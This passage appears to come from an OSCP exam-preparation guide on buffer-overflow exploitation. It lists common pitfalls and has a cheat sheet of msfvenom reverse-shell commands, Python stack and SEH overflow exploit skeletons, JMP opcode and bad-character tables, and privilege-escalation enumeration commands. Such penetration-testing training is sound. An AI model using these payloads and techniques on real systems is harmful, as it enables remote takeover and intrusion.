Fix: Use an encoder:

msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=443 -e x86/shikata_ga_nai -b '\x00\x0a\x0d' -f python

Pitfall 6: Not Reading the User Flag First

Symptom: Shell dies during privilege escalation, lose user flag points.

Cause: Didn’t prioritize reading the flag.

Fix: Always read the user flag immediately after getting a shell, before doing anything else.

Pitfall 7: Incomplete Report Documentation

Symptom: Lost points on an otherwise perfect exploitation.

Cause: Missing screenshots, incomplete steps, or unclear explanations.

Fix: Follow the screenshot checklist in Section 5. Write the report section while the exploitation is fresh in your mind.

Pitfall 8: Spending Too Long on One Machine

Symptom: 6+ hours on one exploit machine, other machines untouched.

Cause: Perfectionism and fear of moving on.

Fix: Follow the 4-hour rule. The exam rewards breadth, not depth on a single machine.

Pitfall 9: Using the Wrong Shellcode Architecture

Symptom: Shellcode doesn’t execute, service crashes differently.

Cause: Used x64 shellcode on x86 service (or vice versa).

Fix: Verify the service architecture before generating shellcode:

# In Immunity Debugger:
# Check if the service is 32-bit or 64-bit
# Most exam machines use 32-bit (x86) services

# If unsure, try x86 first (more common in exams)

Pitfall 10: Not Testing the Exploit After Reboot

Symptom: Exploit works during lab time, fails during exam submission.

Cause: Module address changed, or service behavior differs after reboot.

Fix: Always test the final exploit after a full reboot of the target machine.


11. Quick Reference Cheat Sheet

Essential Commands

# Pattern creation and offset calculation
msf-pattern_create -l 5000
msf-pattern_offset -q <value>

# Shellcode generation
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=443 -f python -b '\x00\x0a\x0d'
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=443 -f python -b '\x00\x0a\x0d'

# Mona.py commands (in Immunity)
!mona modules
!mona find -s "\xff\xe4" -m <module.exe>
!mona seh
!mona config -set workingfolder c:\mona\%p
!mona compare -f <filename>

# Searchsploit
searchsploit <service> <version>
searchsploit -m <exploit_id>
searchsploit -m -x <exploit_id>

Python Snippets

# Little-endian address packing
import struct
address = struct.pack('<I', 0x625011AF)

# SEH overwrite with jump back
seh_record = struct.pack('<I', 0x625011AB)  # Address of \xeb\x06\x90\x90
next_seh = struct.pack('<I', 0x90909090)

# Negative offset jump
jump_back = '\xeb' + struct.pack('B', 256 - (len(nopsled) + len(shellcode) + 2)) + '\x90\x90'

# Full exploit structure (Stack Overflow)
exploit = (
    b'A' * offset +
    struct.pack('<I', jmp_esp) +
    b'\x90' * 16 +
    shellcode
)

# Full exploit structure (SEH Overwrite)
exploit = (
    b'A' * seh_offset +
    struct.pack('<I', seh_addr) +
    struct.pack('<I', 0x90909090) +
    jump_back +
    b'\x90' * 16 +
    shellcode
)

Common JMP Instructions

Bytes Instruction Use Case
\xff\xe4 JMP ESP Stack overflow (EIP control)
\xeb\x06\x90\x90 JMP SHORT +6, NOP, NOP SEH overwrite
\x5d\x5d\xc3 POP EDI, POP EDI, RET Alternative for SEH
\x68\xXX\xXX\xXX\xXX\xc3 PUSH address, RET Custom jump

Bad Character Quick Reference

Protocol Common Bad Characters
HTTP GET \x00, \x20, \x2f
HTTP POST \x00, \x0a, \x0d
FTP \x00, \x0a, \x0d
SMB \x00, \x0a, \x0d
Custom binary \x00
URL parameter \x00, \x20, \x2f, \x3f

Privilege Escalation Quick Checks

# Windows
whoami /all                    # Check token privileges
systeminfo                    # OS version and patches
net user <user> /domain        # Domain user info
wmic qfe get Caption,HotFixID  # Installed updates
dir C:\Users\ /s /b *flag*    # Find flag files

# Linux
whoami && id
uname -a
cat /etc/passwd
find / -perm -4000 2>/dev/null    # SUID binaries
sudo -l                           # Sudo permissions
cat /etc/crontab                   # Cron jobs

Final Words of Advice

  1. Practice makes permanent, not perfect. The more machines you exploit in the lab, the faster you’ll be in the exam.

  2. Documentation is not optional. Every screenshot, every command output, every step—document it all. Your report is 30% of your score.

  3. Time is your enemy. The 4-hour rule exists for a reason. Move on when needed.

  4. Stability beats speed. A shell that works 100% of the time is better than one that works 70% of the time, even if it takes longer to develop.

  5. Read the flags first. User flag, then root flag. Secure your points early.

  6. Have backups. Multiple exploits, multiple shellcodes, multiple approaches. Redundancy saves exams.

  7. Stay calm. Every OSCP student has stared at a crashing exploit for hours. The difference between passing and failing is often just persistence and systematic debugging.


This guide is based on the OSCP Fixing Exploits chapter (Module 10) Appendix C, expanded with practical exam experience and community-tested strategies. Last updated: 2026-09-01.